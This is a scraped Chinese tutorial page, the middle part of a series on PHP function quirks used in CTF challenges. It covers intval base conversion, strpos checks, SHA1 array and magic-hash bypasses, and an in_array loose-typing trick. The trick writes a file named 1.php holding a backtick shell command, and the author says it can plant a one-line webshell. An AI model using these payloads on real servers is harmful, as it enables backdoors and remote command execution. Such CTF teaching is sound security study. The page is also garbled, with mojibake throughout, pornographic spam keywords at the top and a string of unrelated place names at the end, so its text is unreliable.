最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

CTF中的PHP特性函數(shù)解析之中篇

 更新時(shí)間:2023年02月21日 08:46:57   作者:XINO  
這篇文章主要為大家介紹了CTF中的PHP特性函數(shù)解析,本文分三篇此篇為中篇,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪

前言

上篇文章給大家?guī)砹薖HP中最基本的特性,不知道大家學(xué)習(xí)的怎樣了,回顧上文,我們講了MD5強(qiáng)弱碰撞以及正則匹配的繞過,總體來看還是很簡單的,下面給大家?guī)硇碌腜HP特性講解,會稍微比上一篇難一些。

intval()

上一篇在最后時(shí)簡單介紹了一下這個函數(shù),我們看看官方是怎樣定義的:

簡單來說就是讓輸入的數(shù)字變成整數(shù),下面我們舉個例子:

echo intval(1145.14);                     // 1145
echo intval('114514');                    // 114514

可以發(fā)現(xiàn)只對有小數(shù)點(diǎn)的數(shù)字起作用,正常的整數(shù)還是照常輸出,那么它在CTF中是如何考察的呢,查看下面代碼:

if($num==="1145"){
        die("no no no!");
    }
    if(intval($num,0)===1145){
        echo $flag;
    }

要我們強(qiáng)類型傳入的不能等于1145,但后面經(jīng)過intval函數(shù)又要等于1145,這不和前面的矛盾了,我們要怎樣做呢?

這里介紹一下intval的特性,如果我們在函數(shù)里傳入字符串,那么該函數(shù)就會返回不是數(shù)字的字符之前的數(shù)字,也就是說我們傳入:

sum=1145a

intval就會判斷我們傳入的是1145,從而實(shí)現(xiàn)了繞過,還有另一種繞過方法:

當(dāng)base為0時(shí),intval會自動進(jìn)行進(jìn)制轉(zhuǎn)換,我們可以傳入1145的十六進(jìn)制形式來繞過。

strpos()

根據(jù)手冊可以看到,該函數(shù)以及與其類似的函數(shù),作用都是匹配第一個或者最后一個字符,根據(jù)該函數(shù)特性,題目會經(jīng)常圍繞它作為一個限制頭部的點(diǎn),比如上面那題可能會增加限制:

 if(!strpos($num, "0")){
        die("no no no!");

因?yàn)榘诉M(jìn)制開頭通常為0,檢測到的話就不能通過進(jìn)制轉(zhuǎn)換來繞過了。

sha1

p>該函數(shù)的利用以及繞過方法類似于MD5函數(shù),都是運(yùn)用了PHP特性來做,這里簡單看一下:

數(shù)組比較

類似于MD5,在SHA1里我們也可以使用數(shù)組繞過,具體可以看下面例子:

if(sha1($a)==sha1($b) && $a!=$b){
  	echo $flag;
}

可以看到,也是一個弱比較,根據(jù)PHP特性sha1函數(shù)無法對數(shù)組進(jìn)行處理,,于是我們傳入數(shù)組來使結(jié)果為NULL:

a[]=1
b[]=2

強(qiáng)類型

與MD5相同,當(dāng)然也存在強(qiáng)類型比較,我們不能用數(shù)組來進(jìn)行繞過了:

if(sha1($a)===sha1($b) && $a!=$b){
  	echo $flag;
}

這里同樣有類似于MD5函數(shù)的解決方法:

a=aaK1STf    //0e7665852665575620768827115962402601
b=aaO8zKZF   //0e89257456677279068558073954252716165

array_push()

可以理解為向數(shù)組尾部插入?yún)?shù),我們看看是如何考察的:

<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}
?>

可以看到題目先向數(shù)組里插入隨機(jī)數(shù),in_array()是搜索數(shù)組中是否存在指定的值,根據(jù)它的語法:

type會判斷類型是否匹配,這就是我們利用的點(diǎn),因?yàn)閿?shù)組里數(shù)據(jù)為int型,根據(jù)PHP特性比較后字符串會轉(zhuǎn)成int型,也就是說我們傳入1.php也是沒有問題的,后面有個寫入文件操作,正好可以設(shè)置一句話木馬連接后門,或者進(jìn)行命令執(zhí)行:

get:  n=1.php
post: content=&lt;?=`tac f*`;

結(jié)語

今天這篇文章可能有的地方不是很好理解,但總體來說還是很簡單的,PHP特性很多以至于只能挑出一些著名的來說,更多關(guān)于CTF PHP特性函數(shù)的資料請關(guān)注腳本之家其它相關(guān)文章!

相關(guān)文章

  • 在Laravel中使用MongoDB的方法示例

    在Laravel中使用MongoDB的方法示例

    這篇文章主要介紹了在Laravel中使用MongoDB的方法示例,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2019-11-11
  • 完美解決在ThinkPHP控制器中命名空間的問題

    完美解決在ThinkPHP控制器中命名空間的問題

    下面小編就為大家?guī)硪黄昝澜鉀Q在ThinkPHP控制器中命名空間的問題。小編覺得挺不錯的,現(xiàn)在就分享給大家,也給大家做個參考。一起跟隨小編過來看看吧
    2017-05-05
  • yii實(shí)現(xiàn)級聯(lián)下拉菜單的方法

    yii實(shí)現(xiàn)級聯(lián)下拉菜單的方法

    這篇文章主要介紹了yii實(shí)現(xiàn)級聯(lián)下拉菜單的方法,需要的朋友可以參考下
    2014-07-07
  • CodeIgniter自定義控制器MY_Controller用法分析

    CodeIgniter自定義控制器MY_Controller用法分析

    這篇文章主要介紹了CodeIgniter自定義控制器MY_Controller用法,結(jié)合實(shí)例形式分析了CodeIgniter自定義控制器MY_Controller的定義與使用技巧,需要的朋友可以參考下
    2016-01-01
  • php初學(xué)者教程之圖片縮放和裁剪

    php初學(xué)者教程之圖片縮放和裁剪

    這篇文章主要給大家介紹了關(guān)于php圖片縮放和裁剪的相關(guān)資料,主要利用的是imagecopyresampled(),文中通過實(shí)例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下
    2022-02-02
  • Symfony2 session用法實(shí)例分析

    Symfony2 session用法實(shí)例分析

    這篇文章主要介紹了Symfony2 session用法,結(jié)合實(shí)例形式分析了Symfony自帶session方法的相關(guān)使用技巧,需要的朋友可以參考下
    2016-02-02
  • php中配置文件保存修改操作 如config.php文件的讀取修改等操作

    php中配置文件保存修改操作 如config.php文件的讀取修改等操作

    有時(shí)候我們需要用php將一些配置參數(shù)寫到文件里面,方便后期讀取使用,這里就為大家分享一下具體的實(shí)現(xiàn)代碼,需要的朋友可以參考一下
    2021-05-05
  • php版微信公眾平臺接口開發(fā)之智能回復(fù)開發(fā)教程

    php版微信公眾平臺接口開發(fā)之智能回復(fù)開發(fā)教程

    這篇文章主要介紹了php版微信公眾平臺接口開發(fā)之智能回復(fù)開發(fā),結(jié)合實(shí)例形式較為詳細(xì)的分析了只能回復(fù)功能的原理與通過微信接口調(diào)用具體實(shí)現(xiàn)技巧,需要的朋友可以參考下
    2016-09-09
  • PC端微信掃碼支付成功之后自動跳轉(zhuǎn)php版代碼

    PC端微信掃碼支付成功之后自動跳轉(zhuǎn)php版代碼

    這篇文章主要為大家詳細(xì)介紹了微信掃碼支付成功之后自動跳轉(zhuǎn)php版代碼,文中示例代碼介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下
    2017-07-07
  • windwos下使用php連接oracle數(shù)據(jù)庫的過程分享

    windwos下使用php連接oracle數(shù)據(jù)庫的過程分享

    這篇文章主要介紹了windwos下使用php連接oracle數(shù)據(jù)庫的過程分享,講解了php連接oracle的必要條件、代碼實(shí)例以及錯誤排查等,需要的朋友可以參考下
    2014-05-05

最新評論

噶尔县| 郧西县| 青河县| 红桥区| 通许县| 万盛区| 凤翔县| 旅游| 浦东新区| 廉江市| 洱源县| 普洱| 浮山县| 青岛市| 犍为县| 师宗县| 宕昌县| 宝清县| 井冈山市| 石首市| 大城县| 游戏| 深泽县| 临汾市| 长海县| 巍山| 天长市| 大宁县| 枣庄市| 珲春市| 彩票| 定远县| 宜城市| 盘锦市| 卫辉市| 灵石县| 开化县| 聂荣县| 吉安县| 裕民县| 台东县|